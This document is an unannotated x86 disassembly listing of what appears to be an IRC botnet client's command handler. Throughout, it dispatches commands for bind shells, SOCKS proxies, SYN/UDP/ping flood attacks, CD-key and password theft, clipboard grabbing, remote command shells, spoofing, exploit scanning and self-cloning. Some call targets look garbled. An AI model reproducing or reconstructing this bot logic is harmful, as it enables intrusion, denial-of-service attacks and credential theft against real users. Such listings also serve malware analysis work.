jmp short loc_4026FE
; ---------------------------------------------------------------------------
loc_4026C3: ; CODE XREF: sub_401ACD+BB2j
; sub_401ACD+BB9j
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_4026FE
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41B5F0
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEF
add esp, 18h
loc_4026FE: ; CODE XREF: sub_401ACD+BCBj
; sub_401ACD+BDFj ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_402657
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_40271B: ; CODE XREF: sub_401ACD+C9Aj
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d"
push eax
call sub_41B886
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41B900
add esp, 14h
test eax, eax
jz short loc_40275E
mov eax, [edi]
cmp eax, ebx
jz short loc_40275E
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEF
add esp, 0Ch
loc_40275E: ; CODE XREF: sub_401ACD+C76j
; sub_401ACD+C7Cj
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_40271B
mov [ebp+var_2C8], 1
loc_402773: ; CODE XREF: sub_401ACD+B02j
; sub_401ACD+B30j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_429094
jz short loc_40278C
cmp [ebp+var_2C8], ebx
jz loc_40297D
loc_40278C: ; CODE XREF: sub_401ACD+CB1j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_417EEF
lea eax, [ebp+var_C4]
push eax
push offset aUser_0 ; "$user"
push edi
call sub_417EEF
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_417EEF
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B08E
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_417EEF
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_417EEF
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41B900
add esp, 14h
loc_4027FE: ; CODE XREF: sub_401ACD+E29j
test eax, eax
jz loc_4028FB
push edi
push [ebp+arg_0]
call sub_41B900
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41B5F0
lea eax, [ebp+var_A0]
push offset asc_42CE14 ; ")"
push eax
call sub_41C0F4
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_40284A
cmp [ebp+var_A0], 39h
jle short loc_402860
loc_40284A: ; CODE XREF: sub_401ACD+D72j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41B5F0
add esp, 0Ch
loc_402860: ; CODE XREF: sub_401ACD+D7Bj
lea eax, [ebp+var_A0]
push eax
call sub_41B779
test eax, eax
pop ecx
jle short loc_402886
lea eax, [ebp+var_A0]
push eax
call sub_41B779
pop ecx
mov [ebp+var_94], al
jmp short loc_40289A
; ---------------------------------------------------------------------------
loc_402886: ; CODE XREF: sub_401ACD+DA2j
call sub_41B8E2
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_40289A: ; CODE XREF: sub_401ACD+DB7j
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_41AFE0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B590
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41B5F0
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEF
push edi
push [ebp+arg_0]
call sub_41B900
add esp, 30h
jmp loc_4027FE
; ---------------------------------------------------------------------------
loc_4028FB: ; CODE XREF: sub_401ACD+D33j
mov edi, 1FFh
lea eax, [ebp+var_4488]
push edi
push [ebp+arg_0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4488]
push edi
push eax
lea eax, [ebp+var_4AF0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4AF0]
push offset asc_42D128 ; " "
push eax
call sub_41C0F4
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+arg_10], 1Fh
loc_40294B: ; CODE XREF: sub_401ACD+E93j
push offset asc_42D128 ; " "
push ebx
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40294B
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_401E94
add ecx, 3
mov [eax], ecx
loc_40297D: ; CODE XREF: sub_401ACD+CB9j
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+arg_8], edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409803
push edi
push offset aRn ; "rn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409803
push edi
push offset aDie ; "die"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4049FD
push edi
push offset aD ; "d"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4049FD
push edi
push offset aLogout ; "logout"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404955
push edi
push offset aLo ; "lo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404955
push edi
push offset aVersion ; "version"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404946
push edi
push offset aVer ; "ver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404946
push edi
push offset aDedication ; "dedication"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40493C
push edi
push offset aDed ; "ded"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40493C
push edi
push offset aSpeedtest ; "speedtest"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404923
push edi
push offset aSt ; "st"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404923
push edi
push offset aSecure ; "secure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404825
push edi
push offset aSec ; "sec"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404825
push edi
push offset aUnsecure ; "unsecure"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404825
push edi
push offset aUnsec ; "unsec"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404825
push edi
push offset aBindshell ; "bindshell"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40471F
push edi
push offset aBd ; "bd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40471F
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402B41
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_42CD68
loc_402B25: ; CODE XREF: sub_401ACD+10C2j
; sub_401ACD+10E8j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B385
add esp, 20h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402B41: ; CODE XREF: sub_401ACD+1043j
push edi
push offset aSocks4 ; "socks4"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045FD
push edi
push offset aS4 ; "s4"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045FD
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402B91
push [ebp+esi+var_8C]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42CD40
jmp short loc_402B25
; ---------------------------------------------------------------------------
loc_402B91: ; CODE XREF: sub_401ACD+10ADj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402BBA
push [ebp+esi+var_8C]
push 9
push offset aServer_0 ; "Server"
push offset dword_42CD24
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402BBA: ; CODE XREF: sub_401ACD+10D3j
push edi
push offset aHttpstop ; "httpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402BE3
push [ebp+esi+var_8C]
push 3
push offset aServer_0 ; "Server"
push offset dword_42CD08
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402BE3: ; CODE XREF: sub_401ACD+10FCj
push edi
push offset aLogstop ; "logstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C0C
push [ebp+esi+var_8C]
push 25h
push offset dword_42CCF4
push offset dword_42CCE8
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402C0C: ; CODE XREF: sub_401ACD+1125j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C35
push [ebp+esi+var_8C]
push 18h
push offset dword_42CCC8
push offset dword_42CCB8
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402C35: ; CODE XREF: sub_401ACD+114Ej
push edi
push offset dword_42CCAC
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C5E
push [ebp+esi+var_8C]
push 0Dh
push offset dword_42CCA0
push offset dword_42CC94
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402C5E: ; CODE XREF: sub_401ACD+1177j
push edi
push offset aSynstop ; "synstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402C87
push [ebp+esi+var_8C]
push 0Eh
push offset dword_42CC80
push offset dword_42CC74
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402C87: ; CODE XREF: sub_401ACD+11A0j
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402CB0
push [ebp+esi+var_8C]
push 10h
push offset dword_42CC58
push offset dword_42CC48
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402CB0: ; CODE XREF: sub_401ACD+11C9j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402CD9
push [ebp+esi+var_8C]
push 11h
push offset dword_42CC2C
push offset dword_42CC1C
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402CD9: ; CODE XREF: sub_401ACD+11F2j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402D02
push [ebp+esi+var_8C]
push 12h
push offset dword_42CC04
push offset dword_42CBF8
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402D02: ; CODE XREF: sub_401ACD+121Bj
push edi
push offset aPacketstop ; "packetstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_402E58
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset dword_42CCA0
push offset dword_42CC94
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
push esi
push 0Eh
push offset dword_42CC80
push offset dword_42CC74
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
add esp, 40h
push esi
push 17h
push offset dword_42CBE0
push offset dword_42CBD4
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
push esi
push 16h
push offset dword_42CBC8
push offset dword_42CBBC
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
add esp, 40h
push esi
push 11h
push offset dword_42CC2C
push offset dword_42CC1C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
push esi
push 12h
push offset dword_42CC04
push offset dword_42CBF8
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
add esp, 40h
push esi
push 0Fh
push offset dword_42CBAC
push offset dword_42CB9C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
push esi
push 13h
push offset dword_42CB8C
push offset dword_42CB7C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
add esp, 40h
push esi
push 10h
push offset dword_42CC58
push offset dword_42CC48
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B385
push ebx
push [ebp+var_4]
push offset unk_42CB48
push [ebp+var_88]
push edi
call sub_409A73
add esp, 34h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402E58: ; CODE XREF: sub_401ACD+1244j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402E81
push [ebp+esi+var_8C]
push 0Fh
push offset dword_42CBAC
push offset dword_42CB9C
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402E81: ; CODE XREF: sub_401ACD+139Aj
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402EAA
push [ebp+esi+var_8C]
push 13h
push offset dword_42CB8C
push offset dword_42CB7C
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402EAA: ; CODE XREF: sub_401ACD+13C3j
push edi
push offset aUdpstop ; "udpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402ED3
push [ebp+esi+var_8C]
push 17h
push offset dword_42CBE0
push offset dword_42CBD4
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402ED3: ; CODE XREF: sub_401ACD+13ECj
push edi
push offset aPingstop ; "pingstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402EFC
push [ebp+esi+var_8C]
push 16h
push offset dword_42CBC8
push offset dword_42CBBC
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402EFC: ; CODE XREF: sub_401ACD+1415j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402F25
push [ebp+esi+var_8C]
push 5
push offset aServer_0 ; "Server"
push offset dword_42CB00
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402F25: ; CODE XREF: sub_401ACD+143Ej
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045E5
push edi
push offset aFfstop ; "ffstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045E5
push edi
push offset aProcsstop ; "procsstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045CD
push edi
push offset aPsstop ; "psstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045CD
push edi
push offset aClonestop ; "clonestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FA2
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42CAB0
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402FA2: ; CODE XREF: sub_401ACD+14BBj
push edi
push offset aSecurestop ; "securestop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FCB
push [ebp+esi+var_8C]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42CA8C
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402FCB: ; CODE XREF: sub_401ACD+14E4j
push edi
push offset aScanstop ; "scanstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_402FF4
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_42CA6C
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_402FF4: ; CODE XREF: sub_401ACD+150Dj
push edi
push offset aScanstats ; "scanstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045B7
push edi
push offset aStats ; "stats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045B7
push edi
push offset aTransferstats ; "transferstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi
push offset aTrstats ; "trstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40458B
push edi
push offset aCbstats ; "cbstats"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40458B
push edi
push offset aExploitlist ; "exploitlist"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404575
push edi
push offset aExplist ; "explist"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404575
push edi
push offset aReconnect ; "reconnect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404556
push edi
push offset aR ; "r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404556
push edi
push offset aDisconnect ; "disconnect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404534
push edi
push offset aDc ; "dc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404534
push edi
push offset aQuit_0 ; "quit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044EC
push edi
push offset aQ ; "q"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044EC
push edi
push offset aStatus ; "status"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044D8
push edi
push offset aS_0 ; "s"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044D8
push edi
push offset aId ; "id"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044A1
push edi
push offset aI ; "i"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4044A1
push edi
push offset aReboot ; "reboot"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4031C0
call sub_418338
test eax, eax
mov eax, offset unk_42C9A8
jnz short loc_403192
mov eax, offset unk_42C980
loc_403192: ; CODE XREF: sub_401ACD+16BEj
push eax
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 1Ch
jmp loc_4083BD
; ---------------------------------------------------------------------------
loc_4031C0: ; CODE XREF: sub_401ACD+16B0j
push edi
push offset aThreads ; "threads"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4043C2
push edi
push offset aT ; "t"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4043C2
push edi
push offset aAliases ; "aliases"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40439F
push edi
push offset aAl ; "al"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40439F
push edi
push offset aLog ; "log"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4042AC
push edi
push offset aLg ; "lg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4042AC
push edi
push offset aClearlog ; "clearlog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404293
push edi
push offset aClg ; "clg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404293
push edi
push offset aNetinfo ; "netinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404259
push edi
push offset aNi ; "ni"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_404259
push edi
push offset aSysinfo ; "sysinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40422E
push edi
push offset aSi ; "si"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40422E
push edi
push offset aLsp100 ; "lsp100"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4041F4
push edi
push offset aLsp100 ; "lsp100"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4041F4
push edi
push offset aProcs ; "procs"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040D1
push edi
push offset aPs ; "ps"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040D1
push edi
push offset aGetcdkeys ; "getcdkeys"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040B3
push edi
push offset aKey ; "key"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4040B3
push edi
push offset aUptime ; "uptime"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40402B
push edi
push offset aUp ; "up"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40402B
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40400E
push edi
push offset aDrv ; "drv"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40400E
push edi
push offset aTestdlls ; "testdlls"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FF5
push edi
push offset aDll ; "dll"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FF5
push edi
push offset aOpencmd ; "opencmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FB6
push edi
push offset aOcmd ; "ocmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403FB6
push edi
push offset aCmdstop ; "cmdstop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40340B
push [ebp+esi+var_8C]
push 0Ah
push offset dword_42C8C0
push offset dword_42C8B4
jmp loc_402B25
; ---------------------------------------------------------------------------
loc_40340B: ; CODE XREF: sub_401ACD+1924j
push edi
push offset dword_42C8B0
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_403528
cmp [ebp+var_8], ebx
jnz short loc_40343F
push ebx
push [ebp+var_4]
push offset dword_42C89C
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_40343F: ; CODE XREF: sub_401ACD+1956j
mov eax, [ebp+arg_18]
mov [ebp+arg_20], ebx
mov [ebp+arg_18], eax
jmp short loc_40344D
; ---------------------------------------------------------------------------
loc_40344A: ; CODE XREF: sub_401ACD+19CCj
mov eax, [ebp+arg_18]
loc_40344D: ; CODE XREF: sub_401ACD+197Bj
cmp [eax], bl
jz short loc_403454
inc eax
jmp short loc_403459
; ---------------------------------------------------------------------------
loc_403454: ; CODE XREF: sub_401ACD+1982j
mov eax, offset aEmpty ; "<Empty>"
loc_403459: ; CODE XREF: sub_401ACD+1985j
push eax
lea eax, [ebp+var_2C4]
push [ebp+arg_20]
push offset aD_S ; "%d. %s"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add [ebp+arg_18], 80h
add esp, 24h
inc [ebp+arg_20]
cmp [ebp+arg_20], 3
jl short loc_40344A
push offset unk_42C868
call sub_4151AD
pop ecx
loc_4034A6: ; CODE XREF: sub_401ACD+1C5Bj
; sub_401ACD+2F44j
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_401E94
push edi
push offset aSpoof ; "spoof"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404AF5
mov esi, [ebp+arg_10]
push offset aOff ; "off"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_404A23
lea eax, [ebp+var_2C4]
push offset unk_42C834
push eax
mov dword_4CEE08, ebx
call sub_41B886
pop ecx
pop ecx
loc_4034FE: ; CODE XREF: sub_401ACD+3023j
cmp [ebp+var_8], ebx
jnz loc_409855
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
loc_403520: ; CODE XREF: sub_401ACD+7119j
add esp, 14h
jmp loc_409855
; ---------------------------------------------------------------------------
loc_403528: ; CODE XREF: sub_401ACD+194Dj
push edi
push offset aGetclip ; "getclip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F75
push edi
push offset aGc ; "gc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F75
push edi
push offset aFlusharp ; "flusharp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F5E
push edi
push offset aFarp ; "farp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F5E
push edi
push offset aFlushdns ; "flushdns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F26
push edi
push offset aFdns ; "fdns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403F26
push edi
push offset aCurrentip ; "currentip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403EEC
push edi
push offset aCip ; "cip"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403EEC
push edi
push offset aRloginserver ; "rloginserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403DB1
push edi
push offset aRlogin ; "rlogin"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403DB1
push edi
push offset aHttpserver ; "httpserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403C25
push edi
push offset aHttp ; "http"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403C25
push edi
push offset aTftpserver ; "tftpserver"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403AEB
push edi
push offset aTftp ; "tftp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_403AEB
push edi
push offset aCrash ; "crash"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4036B4
lea eax, [ebp+var_2C4]
push offset dword_42C78C
push eax
call sub_41B886
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_403693
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_403693: ; CODE XREF: sub_401ACD+1BA8j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
mov [esp+10h+var_10], offset aCrash ; "crash"
push [ebp+esi+var_7C]
call sub_41C070
jmp loc_40207C
; ---------------------------------------------------------------------------
loc_4036B4: ; CODE XREF: sub_401ACD+1B90j
push edi
push offset aAsc ; "asc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4037E7
push edi
push offset aSa ; "sa"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4037E7
push edi
push offset aPhonehome ; "phonehome"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_403708
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push [ebp+arg_4]
call sub_409A2D
jmp loc_401F52
; ---------------------------------------------------------------------------
loc_403708: ; CODE XREF: sub_401ACD+1C20j
push edi
push offset aFindpass ; "findpass"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40372E
push edi
push offset aFp ; "fp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4034A6
loc_40372E: ; CODE XREF: sub_401ACD+1C4Aj
push [ebp+var_88]
lea eax, [ebp+var_F54]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_F58], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED0], eax
mov eax, [ebp+var_8]
mov [ebp+var_ECC], eax
push offset unk_42C720
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 26h
push eax
call sub_40B0F7
add esp, 18h
mov [ebp+var_ED4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F58]
push ebx
push eax
push offset sub_416F1B
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_ED4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4037D6
loc_4037C0: ; CODE XREF: sub_401ACD+1D07j
cmp [ebp+var_EC8], ebx
jnz loc_4083BD
push 32h
nop
call near ptr 26A0F44h
jmp short loc_4037C0
; ---------------------------------------------------------------------------
loc_4037D6: ; CODE XREF: sub_401ACD+1CF1j
nop
call near ptr 26B0857h
push eax
push offset unk_42C6E4
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_4037E7: ; CODE XREF: sub_401ACD+1BF6j
; sub_401ACD+1C0Bj
mov al, byte_431CE2
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_431CE2
jz loc_401E94
mov ecx, edx
loc_4037FE: ; CODE XREF: sub_401ACD+1D39j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037FE
cmp al, bl
jz loc_401E94
mov [ebp+arg_18], edx
mov esi, offset aF ; "#f"
loc_403818: ; CODE XREF: sub_401ACD+2009j
push 0Bh
call sub_40B33F
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 1F4h
jle short loc_403867
push ecx
lea eax, [ebp+var_2C4]
push offset unk_42C6A4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 20h
jmp loc_403ACD
; ---------------------------------------------------------------------------
loc_403867: ; CODE XREF: sub_401ACD+1D65j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_431B00, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], 320h
mov [ebp+arg_0], ebx
jz short loc_4038D8
mov edi, offset dword_431B00
loc_40389C: ; CODE XREF: sub_401ACD+1DEDj
mov eax, [ebp+arg_18]
add eax, 0FFFFFFF6h
push eax
lea eax, [edi-28h]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4038BE
